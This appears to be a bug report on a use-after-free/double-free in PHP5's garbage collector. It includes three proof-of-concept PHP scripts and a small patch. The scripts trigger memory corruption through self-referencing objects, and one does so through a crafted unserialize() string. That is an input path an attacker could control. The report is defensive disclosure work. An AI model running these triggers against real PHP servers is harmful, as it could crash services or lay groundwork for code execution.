Description:
------------
It is possible to lead to use-after-free/double-free vulnerability since @dmitry added this commit 1c84b55adea936b065a20102202bea3d1d243225 to PHP5 series.

PoC1:
```
<?php

$std = new stdClass;
$val = &$std;
$std->x = $val;
$arr = [$std];
$ref = $arr[0];
unset($arr);
gc_collect_cycles();

?>
```

PoC2:
```
<?php

$dll = new SplDoublyLinkedList;
$val = &$dll;
$dll->push($val);
$arr = [$dll];
$ref = $arr[0];
unset($arr);
gc_collect_cycles();

?>
```

PoC3:
```
<?php

$inr = 'i:0;:R:2;';
$uns = 'a:1:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inr).':{'.$inr.'}}';
$arr = unserialize($uns);
$ref = $arr[0];
unset($arr);
gc_collect_cycles();

?>
```

Fix:
```
+if (obj->refcount <= 0 ) {
	obj->refcount = 1;
+}
```